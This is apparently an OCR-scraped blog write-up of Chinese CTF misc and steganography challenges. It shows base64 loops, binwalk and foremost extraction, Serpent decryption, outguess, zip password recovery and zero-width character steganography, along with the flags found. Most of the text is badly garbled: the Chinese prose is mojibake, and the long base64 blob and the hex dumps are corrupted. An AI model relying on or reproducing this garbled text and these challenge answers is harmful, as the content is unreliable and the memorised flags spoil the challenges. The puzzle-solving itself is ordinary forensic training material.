kbF13V250T2JFcHpXa2R3YVZORINrbFdNb1IyWXpGVmVWTnVTbFIpV1ZWwWVZGYzFiMWRHYKhGVGEXCHNVbTFTV2xkc1ZUR1dNVNB6WTBaV1dGWnN
Ta2hhUkVaYVpVZEtTVk5zYUdoTk1VcFdWbGN4ATkdReVZrZFdXR3hyVWpCYWNGVNR1ISGRsYkZsNVpVaGtXRk13VmpSWk1GS1BWMjFGZVZWc1pHR1d
NMmh3JV1RJIeFMxSX1Sa2RoUmxKVFZsaENTMVpOTVRCVk1VMTRWbGhvVOZKkSGFGbFpiWGhoVm14c2NscEhPV3BTYKhCNFZrY3dov114V250alJiXaFl
WalUxZGxsV1ZYaGpNVTUXWTBaalRtRNNXbFZXYTIRMF1URk9SMVp1VGxoaVIscF1WR1IHUzA1c1draGxSMFpYVFd4SINWW1hkRz1oTVVWMF1VWIN
WV1pYYUVSVkluaGhZekZ3U1ZWdGNFNVANVWwzVmxSS@1HRXhaRWhUYkdob1VqQmFWbFp@ZUhkTk1XeFdWMjVrVTIKSVFraFdSM2hUV1RKRmVsRnF
WbGRTTTJob1ZrUktSMWRHU2xsYVIzQlRWak5vV1ZkWGVHOVINVkpIV1c1S1dHSkZjSESWY1RGVFpXeHNWbGRzVG1oU1ZFWjZWVEkxYjFZeFdqWld
hbEpWWVRKUINGVNFSbUZYVm5CSV1VWkOWMVpHV2xaV2IHTjRUa2RSZVZaclpGZFhSM2h5V1dwQ11XTkdWb1IsU@dSc11lriWldOVnBWYUdOWFIwcEh
ZMFpvV2sxSGFFeFdhalpoVi14a2NtVkdaRTVXYmtKS1YxUkplRk14U1lhoalIXUmhVbFIXVDFWc2FFT1RNVNAWVFZSQ1ZrMVZNVFIXYkdodlYwmt
TROZHYkZwaVdHaGOWbXBHYzJINeGNFaFBWbVIUWWxob11WZFVRbUZoTWtwSVUydGOWbUpIZUdoV2IHUkOUV1pzVjFaWWFGaFNiRnA1V1ZWYWEXUnR
Sbk5YYkZaWF1US1INR1pFUms5VFIrcH1XalpLYVZKdVFuZFdiWFIYVmOxUmVGZHVVbXBTVjFKWFZGWmFKkMDFHVmM5SalJ6bFdVbXh3TUZsV1dsT1ld
WbHBZWVVWU1ZXSkdjR2hWTUdSWFUwWWk tkRO5GT1ZkT1ZXd3pWbXhTUzAXSFJIYaGFSV2hVWWtkb2IXxVnFRbUZXYKZwWMVkwWmthMkpHYkROVO1qV1B
WREpLUM10SWNGaGhNbE16V1ZaYVQxSnNUbkppUm1ST11teEt1VmRZYOVKV2IWW1hWRZVXVKkdKRINuQldiRnAzVjFaYVIxbDZSbWxOV]FKSVdAXdG9
SMVpIUlhoalNFNVdZbFIHVkZZeWVHdGpiRnBWVW14alRsWnVRalpYVkVKaFZqRmtSMWRZYOZaaWEzQl1WbXRXWVdWc1duRINiR1IXVFZkU2VsbFZ
aSE5oVmxweVkwUmFWMDFYVVhkWFZtUINaV1phY2xwR1pHbG1SWEIRVMOXNGEXVXhXbk5WYkdoc IUWZFNWR1IXV250T1ZuQldZViWQwVOZId2NFaFp
NRnB2V3jJzeFNGVnVXbGROYWtaSFdsWmFWMk5zY@OVoU2IHUkOUVzFvU2xZeFVrcGxSazEOVTFob2FsS1hVbWhWYkZKWFZER1djMkZGVGXST1ZuQXd
WR1pTUTFack1WWkSWRkpYWWtkb2RsWXdXbXRUUjBaSF1lrWndhVmRIYUc5V2IURTBZekpPYzJORMFGQLANMEpVV1dOblEwNUdXbkpaTTISUFZqQld
OV1V5ZEd@aGIFcF1ZVVpvV21KRINrT1VWbHBOVjBkTmVtRkdhRk5pUmOSNFYXUKNZVOVAVWS5SU2IrNV1ZWHBHVOZ SWGRFdGpiR1kyVIW1zNVUwMVd
JREZXVjNoUF 1WWkp1Rk51V2x0V2IFcE1XalJHVDFZeFpISmhSM1JUVFVad2FGWNRNSGhWTVU1WFYyeGOhMUo2Ykc5VVZsWnpUbFpzVm1GR1RsZG1
WWEJKV1ZWV1QxbFdTalpYY1ldoYVpXdGFNMVZzV2xkalIwNUdUbFprVGxaWGQzcFdiWGhUVXpBeFNGT11iRk50TWXKV1dXMXpNV1pXYkhKYVI6bFh
Zalp3TUZwVmFHdFVhekZYWWtST1YwWMXFWa3haYTFwTFpFW1dkVOpIUmxOVO1VbDZWMVphWVZsWFRuU1VhMXBWVWOXU2NGVNnFSalprTVdSWFZXdDB
VMDFXYKRSV136V1hWbTFLUMXOc2FGWm1Sa3BZVmpGYVIWSXhiRFpTY1d4T1ZqRktTVmMRYZEc5UQ1IWCE1VbGhvYWXORK5WZFpiRkpIVmtaWmVXVkh
kR3BpUm5CV1ZXMTRhMVIzV25WUmFscF1WalZLYUZacVItdFNNV1JaWTBaYWFXRXpRbGxXY1hSWFdWZFdjMWR1UMmx0aVIXSnhWR1prVTIWc2IGWmF
TRTVvVm14d2ViWa3dVbUZXTURGWVZWaGtXR1pOVWXOYVZscGhZMnh3UjFwSGIHbFNXRUpSVmOwe ESHRXhWWGhYYms1V11rZG9jbFV3WkZOV1IsS1h
WMJjVPVDFadVFsZFpWV1F3VjBaSmQyTkZhRnBOUM5CM1ZgSnplRk5IUmtabFJItUm9ZVEZ3YjFaWE1UUmhNazUwVm10allWS1ViWbGhaY1hSTFUyeFp
1R1ZyY@d4U2F6RTBWVEZVYjIGc1INsaFZiV2hXWWtaS1dGWkVSbGRqTWtaR1ZHeFNUbFp1UVhkV1IscFRVVEZhY2sxV1drNVdSa3BZV1d@a2IyUnN
XWGRYY1hSVVWqQmFTRmxyV25kaFZtUk1ZVWM1VjIKVVIUQlpla3BQWXpKT1ItRkdRbGROTUVWV1YXxZDBiMUV3T1VkWGIrcGFUVEpTVUZadGVITkS
SbGw1VGxaT1YyS1ZjRWxaV1Zwd1ZqSkdjazVWT1ZWV2IIQmOWakIrVGIWdFIrZGhSazVwVi@1Qk1WWXhXbGRaVjBWNFZXNVNVMkpy T1ZsWmExcGh
WMFpzV1Z0cINrNVNiVkpZVmpKME1HRNINVMRUYWtaWFVucEdkbFpVU2toU@1rNUhZalprVTIKRMNFMVhWMOIIVKRGWMVGCEITbWhTTTIoVVZGVmF
kMkZHV25ST1NHaFdUV1ZzTkZaWESVOVhSMHBXVjJ4alZtS11hRE5VV1ZwaFYWZE9ObFpzYUdsU2IrSklWa2Q0eVjFVeFdsaFRhM1IxViWpKb1YxUlZ
aRk5YUmxWM1YydDBhMU13T1VkVWIGCHIWR3hhVOdRemNGZG1XR2hVV1hwQmVGTkdTbGxoUjBaVFZqSmOWbGRYZEd@aUlrbDRWbTVHVW1KV1dsaFp
hMXAzVFZacmQxZHRKkR2hOYTNCSVAXdFNUMV13TVhGV2IFS1hValZ3VEZWdE1VOVRWMDVIWVVkb1RtSkZiRFpXTVZwaFdWW1JI1Rk51VGxWaWEzQnd
WVzB4Y]jFkR2JIIS1hibVIzVmOxUldsa3dWbXRXTWEtwWFVtCcEOWV1pzV25wiN1ZWcEXZMNMXVOUS5V2NHaE5iV2hGVm1wR11XRXhXWGhqUlZaUullsaFN
JR1pOZEZWT1IscHhVMnBTVjAXxV1ZqV1ZNb1lIyWVd4T1IrNVdaRnBpUmtwSVZtdGFVMV14WkhOWGIYaFhUVVISZVZaWE1UUmhNVkp6VjI1V1VtRnN
FRMxXYTFaTF1VWmFjVkpOZEZOT1YxSXhWa2QOVTIGRk1YUmhSemxYVmpOU1dGZFdaRT1qTVZwMVVteFNhRTB4U2xaV2JURTBVekF4UjIKR1dsaGh
1bXh3V1dwQ2QxZHNiR1pYYTISWFRXdFdORmt3Wkc5WFJscDBWV3hPWVZac2NHaFpNbmgzVWpGd1NHSkhiRk5YU1VwWU1ZtMHd1RTVIUlhoVlidHaF1
WMGRVV]jFsclpHOWpiR1YzV2taT1dGSnNTbGhYYTFKVF1rWmF jMk5HYKkZWV2IGcH1WakIhUzJOdFNrV1ViR1IwVjBWS1ZWWnFTbnBsUmtsNFZHNU9
VbUpIVWO5W1ZFNURVMVprV1Z0cVVtaES5helV3VmOXMGExbFdTWGxoUnpsV1ZrVktUR1pYZUdGak1WWn1lWRzFvVGxaWGR6Q1dAWRVp2WXpGVmVINS11
iR2hUU1VwWWFdXeGOUbVZHYTNKWGI rNVhWbXRhTVZkc1ZURmhWa3AxVVZoalYxSnNjR1IWVkVaaFkyc3hWMWRYT1ZkU2EzQlpWbTB3ZUdJeVZuTlh
iazVZWWxoU1ZWVnFSbUZUUmxsNVpVaGtWMDFWYOZoWmFrNTNWMFphYzFkdGFGZGhhMOJIRVmM1wR1UyUldWbk5SYkdScFZtdHdWbF14WkRCVO1sRjR
Xa2hPVOdFeWFIT1ZhazVEV1VaYWRHVk1Uaz1TYkd3MVZHeFZOVOZIU2taallteGFWbFp3ZWxacVNrimxSbHBaWVVkRIUWMHLIhRFpXY1hCSFdWWmt
XRkpyWkdoU2F6VndWVzB3T1U1R1dYaFZhMDVhVmpCVO5GW1hOVT1YUm1SSVpVYzViWbUV4AV2pOVO1GcHpWMGRTUM1SSGNHbFNiR3Q1Vmxjd2VFMUd
XWGROVM1ScVVrVmFWMVIYT1c5U13scHhVMnQwVkZacldqR1hhMXByWVZaalIxTnNiRmRpVkVIMFZsY3hWMU14YOVsV2IFNXBVbGhDZDFadGVHRmt
NalpIVjI1U1RsTkhhRmRVVmxVeFYwWlplV1ZIT1doT1ZXOH1XV3RqT1ZaVlduTlhibkJWWWtad2VsWnRNVWRTYkZKeldrZHNWMWRGU2tOVO1WcFh
WakZSZUdKR1pGUmhNWEJaV1ld4a2IxbFdjRmhrUjBaT1RWWmF1bF15ZUd@aE1VbDNUbFZrV1dKR2NIS1dSM2hoVjBkUmVtTkdaR2xYUjJoV1ZsaHd
RbVZHVGtkVWIHeHBVbXMxYjFSWGVFdFdiR1JZVFZod1RsWnNjRmhaYTJoUFZqSktWbGRzYUZwaE1YQXpWR1ZhZDFadFJraGtSbFpviW1dOYVdAWZFV
RbT1qTVZsM1RWaEdVMkV5YUdGV2FrNXZZVVpyZVUxVkOWT1dhMOI2V1ZWa2IxUnNaRVpUYkVwWF1saFNjbFJyV250WFJsSjFWV3hXYUUxV2NGbFh
WM1JyV1RGYVIXVnNWbFJIpVkd4d1ZGWmFkM1ZXV2x0alJFS1dUVVIHVOZsc1VsT1dNVW8yVm14b1lYyS1VSa3hWY1lhoUF16SkdSMWROYkZOaEOWSmF
WbTF3UjFsWFJYaFhXR2hYWW10d2FGVnFUbE5VTVd4V1VENWtWR1pzY@hoVk1uQlRWakF4VjFacVZsWm1SMmgyV1ZkNFQxSnJOVmRhUm5CcFVtdHd
TV1p@ZEdGa®1XUk1WbXRzV1dKSFVuQlZhalpMVG14YWNsa3phR2x0VmxZMFZqSjBZVmRIUm50alltaFhZVEZhZVZwV1duT1dWa3B6WTBKNFUyS1d
TbUZYVkVKaFdWZEdWMWRZYkdoU2JXaFpXV3RrVW1ReFpGZFhiazVYVFdzMVNGWX11Rz1oVmt sNFUyNWOWMUpOVVhkWFZscEtaVVpXV1dGR2FHbFh
Sa3AyVmxkd1IxbFhWbk5YVOd4cVVqQmFXR1IWVWtKkWFZscFhZVWQWVOZKc2NEQ1dWM2hQV1ZaYWMy TkhhRnBOYmlnelZXcEdkMU5IU2toaVIrNV1
VbFZ3VTFadE1IZGXSVFZIVWx0ob1lYXZEhhRmxXTUdSd1ZgRnNjbHBIT1dwaVIsWXpWMnRhVDFKRINuT1RiR2hYVFdwV2NsWkh1RXRrUjFKR1ZHeG9
hRTFXY®OhsV2FrSmhVMjFSZVZScldtaFNia®pQV1lcwMVEWMXNXbkZUYm5Cc1VtczFTR1pOT1ZKkWFIwcE1IWV3M1V21KVVIuWlphalpoWTFaR2RGSnN
aRTVoZWxZM1YxUkNWMk14V1hsVGEyaFdZa2RvVmxadGVHRK5NVNBZW1VkR2FrMV1Ra3BYYTFwVFZHeGFWVkpVUWXkV1IWcDIXWHBHVMIWVINSbGL
SbHBWVmMtkNFAGZFh1Rz1pTVZKSFYyNUtXROpWV25GVVYzUmhVakZhU@dWR1RsVm1SbkF4V1Zkd1UxWXhXalpSYWxKV11XdGFhRmt5YzNoVO1Xunl
UbFprVTJFelFscFdiVEIzW1VkSmVWWNVUbGhpYXpWW1dXeGOVMVpXVm5GUMIVWIVWbTEOVjFZeU1VZFdAWMHBHWTBSR1ZSWjZRVEZXYWtWTFZsWkt
WVkZzY0d4aEOWS1IWMWh3UjIReFRsZFVibEpyViW1zMVQxU1ZWbmRXYkZsNFdrUKNXbF14UmpOVWIGWnIWMGRLUGAGRkOWZGhNVnBNVmtSR1YyUkh
Wa2xVYXpsVF1rZDNNV1pIZUZaT1YwiWk1VMnRhYWXxKdGVHR1diRnAzWkd4YWNWTnJaR3BoZWxaWVZsZDRhMVVAV25WUmFscFhZbGhvYUZWcVItdFh



Sa3B5V2taV2FWSXhTb1lpXUmxKRFUyc3hjMWR1VW10UBOXS1FWVZzB4TkZKkR1duTmhTRTVYVWpCVO5Ga3dXbk5XTURGSV1VVINWMDFHY@doWmVriWnd
aR1p3UjFSck5WZGhNV3QzVmOxd1MwMUdVWGhYYmxKVVI1URNdWVmxyV25kV2IGcHpWMNRrVGsxV1ldraFZiRkp6V1Zav1ZVMUVhejA9"
for i in range (0,128):

m = base64.b64decode(m)

print(m)

huaicenglo

WRIERAE NIEB R T IEFKIEC: comEON_YOuAreSOSoSOgreat.
XANFRF 5 T DL SR A#A518394.

fRIE SRR — A mp3e FTHMRBER T . —~— - s cem s mamim eeam s
fi#15 15 Bflag{morseisveryveryeasy}

23. ) S 1 B A



XBRRT ~F5RE.
H#F5-steganography—3t4% :

EXN Windows PowerShell - O x

e ol

A
: 7 outputixt - {BEE
ji TR #R(E) 1EI0) EE(V) EEH)
j||3|(|:||:||:| o flEL<rEY( & o flag.bdKEL 4KMKTH4206010K36181IL7240?78M? PKo oo flEL<rEY( & o$ flag.txt
q 0o ?PEon?E?0? M oon?PKoo ooZ N
g

@1

B 3

BEISKHIPK, Blizip, fifR W EEY:

o WA - 2345 X

ANFERT RN ESS
output.zip

EEm—et=T  sA T e = o T
STEE (QRfZEPTEREAN)

winhex#T JF%& 2150 4B 01 02 1F 00 14 00 01 00
R IE, XEBZRHE012R00.
FET gt s -

T flagiot - B=E
TfHF)  4REE(E) 1BTLO) EEFEV) EEIH)

flag{96efd0a2037d06f34199e921079778ee

24.snake



% Lstegsolver & .
binwalk 234 :

M miff wiE EE HEH
:~/EB K % binwalk snake.jpg
DECIMAL HEXADECIMAL DESCRIPTION

JPEG im4 e data, JFIF standard 1.81
big— ndian, offset of first
"Cop ght Apple Inc., 2815
15t v1.0 to ext
st v1.0 t

End 0+ Zip 41=h1u footer length:

5 $ foremost snake.jpg
Processing: snake.jpg
| founda
PK

foundat=cipher DG HCH GRG0 1909\ 0909

base64fR%—T:

L WINUUWS LU XOF L g UELIAn £.5 0% |

\V2hhdCBpcyBOalWNraSBNaVWshaidzlGZhdm3yaXRIHNvbmegd GhhdCByZ\WZlcnMgdGBge25ha2VzPwo=

What is Micki Minaj's favorite song that refers to snakes?

HE:

ER KNS BEVAIX T INTEM4
Qmm E&ER i OBER OmE  O3E W OiE O3

BETH

- HIFFEZ)...
Eﬂa e £ M;%%it% WEFRE)
ﬁ%&%E%FE*m_“HEu

wnanat iff ~ramifadicla/A20

X B RAIE R T —/ key:anaconda
BEREH 2. TR K48 648 £ 15 2] —keyR—/ cipher.



key#t /& 2 Hi 15 2 fibase64f# S 45 R -

" (B B (W) T§MENFiXA&iE, ERIEFEE—ME: Serpent. Serpent@ —AMNEHEE, FRX cipherse it

1T Serpentf@ i .

Input type: [ File i l
File: [ C:\fakepathicipher ] Browse
Function: | SERPENT :
Mode: [ EGB (electronic codebook) - l
Key [ anaconda

(plain)

@ Plaintext O Hex

e 1 100%

File was uploaded.

Decrypted text:

00000000 43 B4 48 Th 77 B8 af Bf éb fe
00000010 7O 65 fe T4 Bf B3 A% TO 68 65 T2 Bf A5 YB A% 73
DO0OODZ0 T4 B5 64 Td 00 00 00 00 OO0 00 00 00 00 00 00 OO0

[Download as a binary file] [7]

24 e F 2w R

=" meihuaijpg Bt

= 22 EEEE LEmkd

a5 77 Bf 73 A5 T2

Bt &

s _..-lll"“__..-"\

’$ El=sflaghl
=5 SEEE?
L)
=* SEEEsE!
M

pizt=qm o)
EFERF
FRIHE
it

Eig

Eig ID
EEE 467 x 289
=E 467 &FE

CTF {who _ knew_
prent _
tedl .

cipher_

S e r

e ¥ 1 s

Inactive

o o


http://serpent.online-domain-tools.com/

= 280 &%=
HFREE 72 dpi
SEEREE  72dp

rRERE 24 "
s e
T 1 [ 1

winhex& & :

8 42 12 A8 3F 2& €3 92 10 A4 OF 92 A6 A1 RE"BE "7%c’ ® !;
1 Co 14 21 52 10 DC AC F9 Al OB 30 6E 8¢ b E IR O-9; On.,
2 93 B9 42 11 54 36 495 0% 44 07 E6 F6 50 'i “*BE T6I [ =aP
8 42 95 &0 3C 95 0D BA 10 80 6E E8 76 EE i~"Be'<e 5 Enive
3 98 52 EE 68 42 80 3F 2A 63 72 84 20 A6 B~ "REihBE?%cr, !
1 0B 47 E9 1D D5 72 42 13 F4 09 OF 48 42 1%! G& OrBE & HB
7 2F 54 21 11 &8 42 15 02 10 85 00 84 21 ¢§/T! hB . .!
150 24 84 28 1& 10 84 02 10 85 40 84 21| L'P5,.( . -B.!
1 07 FF Do 32 38 33 37 32 63 33 37 32 39 1 02837203729
2 38 33 37 32 €3 33 38 32 39 30 €1 32 38 0a28372c38290a28
2 €3 33 39 32 3% 30 €1 32 38 33 37 32 63 372c39290a28372c
3 30 32 39 30 €1 32 38 33 37 32 €3 33 31 3130250a28372c3l
2 3% 30 61 32 38 33 37 32 63 33 31 33 32 31290a28372c3132
0 €1 32 38 33 37 32 €3 33 31 33 33 32 39 290a28372c313329
2 38 33 37 32 €3 33 31 33 34 32 3% 30 61 0a28372c3134290a
3 37 32 63 33 31 33 35 32 39 30 €1 32 38 28372c3135290a28
2 €3 33 31 33 36 32 3% 30 61 32 38 33 37 372c3136290a2837
3 31 33 37 32 3% 30 61 32 38 33 37 32 €3 2c31372350a28372Zc
3 38 32 39 30 €1 32 38 33 37 32 €3 33 31 3133290a28372c03L
2 33 30 61 32 38 33 37 32 63 33 32 33 30  39290a28372c3230

MG R G R —RIEFE BN B KR, EHlHRE TS

[£] CTFCrackTools-Vav2.2 Beta

Fa HpHH4E M54 BT W
HLE i AR D 2 Ay A B9 F 4 4L 649566
0a283237312c323636290a283237312c323637290a283237312¢323638290a2832373120323639290a283237




Wy £
(7,24)
(7,25)
(7, 26)
(7,27}

| Wir B T+ 11

13 B RALALFR I AR
FILOEER, ESHBBER. XFEgnuplotst AR .
gnuplotZ: [ :

h o I® Gnuplo.. E] tom@k... m EH 08:35 F&F O A O & ©C
=] | Gnuplot window 0
e iwiE ZE

:~/EE % gnuplot

GNUPLOT

Version 5.4 patcl

gnuplot home:
fa etc:
immediate help:

type is now 'gt’
:oempty

gnuplot> plot 1.txt

gnuplot
gnuplot>

AL AE2flag.

25.[BJDCTF2020]iA Z /R k4 T



binwalk:

uncompressed
556 B=22( , chi a ea LB to extl t, compress
uncompressed si i

name: x
5 ( , rchi a : B to ¢ compres

c

uncompressed si
uncompressed

4B

L4687
unc 'ZJI'IIDI'ESSPU
513
UNncompresse

siz

@x17ED

D, TR BB 3RAR

00000000 *> x| *» charts

B

| | chart1.xml
| | chart2.xml
= flag.txt

26.[GXYCTF2019]#%k & & 4F



ZipBRWINE, BErEM G2 5 Hh 4.

) https://www.keyfc.net/bbs/tools/tudoucode.aspx

5hkict

RS ENR || 2ERIENER EEAE
—Bl—in. —inel—

BEl: BERENRHEEEE NN ERB NN ARE FEWERAN - FIESMETNERE—DOHE
HRER PR AP R IR A R E L R R A R A

27.[ACTF:# 4= 3£ 2020]outguess
GRS, BB R .
ARFE ok B Y 9

O ERINEZREE

L FEA E AT R
| fom > |

abc

mmm.jpg Bt x

Bl = HEEE LaREs
| << g8 |

Ei= & e
2EE
- Powered by ZiREPEIRIE
=
i
=g
=|E
=8
e

A TER 4 TE R T ‘

B 2| % Sabc, 2R J5 outguess — IR :

Joutguess -k "abc” -r mmm.jpg out.txt

28.[% #HI# 2019]easy misc

R AR .
TERTRE=ALH LIS



read

: v BB decodezip v SHESSRGUSanEN) Q &%
X + &R f s =2 BT
A (EED FLAG IN ((./2524921%85+5+2)+ 165-1794) +NNULLULL,
| decode.txt *

HHE—TFTEAEN:

= R o
(V(2524921)x85+5+2)+15-1794 =

7

flag in 7+NNULLULL,
BHEAXALHELRY, K (kan) BH(le)f& (write)fll(up)7 & AT EI MRS SR . BB — T

H ziperelo — b4

] o
- 2iperello
J\j-.%\p Pzip password recovery fool

BE

sy e | 15 @ EFZ: 2019456MNNULLULL,
HEEE [2019456NNULLULL, |
LREE | sz m@AT | = [FUTRETTTT
0%
HiZAdiE]: 00:00:03 FlA4iE]: 00:00:00
e ||

| 15:54:36: RS : "2019456NNULLULL, "A1jE: 0s |

K - T e T |

Eprperbippr
Ziperello ver. 2.1 | k=flFRE (C) 2008 FDRLab -

fEIEE T

dIw
ss5D
adE
jvf
Qws
SA=
1Bt

o~hm oan T
1 e VA 1



a—

5RE
tRO
SPA
8Ds
XiE
S8s
MkF
T9p
PS5
E/S
-sd
SQwW
obw
JWS
SD9
cw=
ASD
FTa
AEY

N XE<CSWTOoOTOoOIE AR5
L L V| | | I {1 Y | A [ A

BEEXNMRTEHRE.
Bor FRKE R
binwalk X LB & T 25k, foremostsr & Hik:

*~ A [home/tom/E K [output/png/

AT
R FE

REREKEMEHTARR T GXEFEMN—SH-oldseed, NMRRBULRKIEIEE) -

iz fuck. prng

ng fuck. png

B 4hhint ttid 2 7 hint: BURT 1675 o
AiH 11 R K 7 RF IR RS 2



BRI 164 F 7515 Eletaonrhisdluygw.

TEXF FE 2 B AR R LR R B RS R A5 2]
QW80obWdIWT9pMkFSQWRQjVIXIE/WSF TajBtcw==
base64%F T :

o (mgHY?i2ARAKOBS_"17Y!S jOms

base85/#H :
flag{have_a_good_day1}

29.[UTCTF2020]zero



REREREFHRE, B8 E S0 EuEwinhexit 65 WBUFH R J 2 TR E AW WF 5.

C O = | E/CTFTools/misc/ OIS/ EmERE html

Unicode Steganography with Zero-Width Characters

This is plain text steganography with zero-width characters of Unicode.
Zero-width characters is inserted within the words.

JavaScript library is below.

http://330k.github.io/misc tools/unicode steganography.js

Text in Text Steganography Sample

Original Text: | Clear | (length: 709)

Loren ipsum dolor sit amet, consectetur adipiscing elit. Phasellus suis tempus ante, nec vehicula mi. Aliguam nec nisi
ut neaue Interdun auctor. Aliouam felis orcl, vestibulum sit amet ante at, consectetur lobartis eros. Orcl varius
natogue penatibus et maznis dis parturient montes, nascetur ridiculus mus. In finfhus nagna mauris, auis auctor likera
congue quis. Duis sazittis consequat urna non tristicue. Pellentesaue eu lorem id quan vestibulum ultricies vel ac
PUFUS .

| Encode » |

Hidden Text: | Clear | (length: 32)
utf lagiwhyNOTEsC 1 _4827aa) bak4}

[ « Decode |

Steganography Text: [ Clear | (length: 965)

Loren ipsum doler sit amet, consectetur adipiscing elit. Phasellus au
ut nesue Interdum auctor. Aliouan felis orci, vestibulum sit amet ante
natosue penat [bus et magnis dis parturient montes, nascetur ridiculus

conzue quis. Duis sazittis consequat urna non tristigue. Pellentescue
purus.

Download Stego Text as File

-

(@]

- [T
CSDN @KogRow
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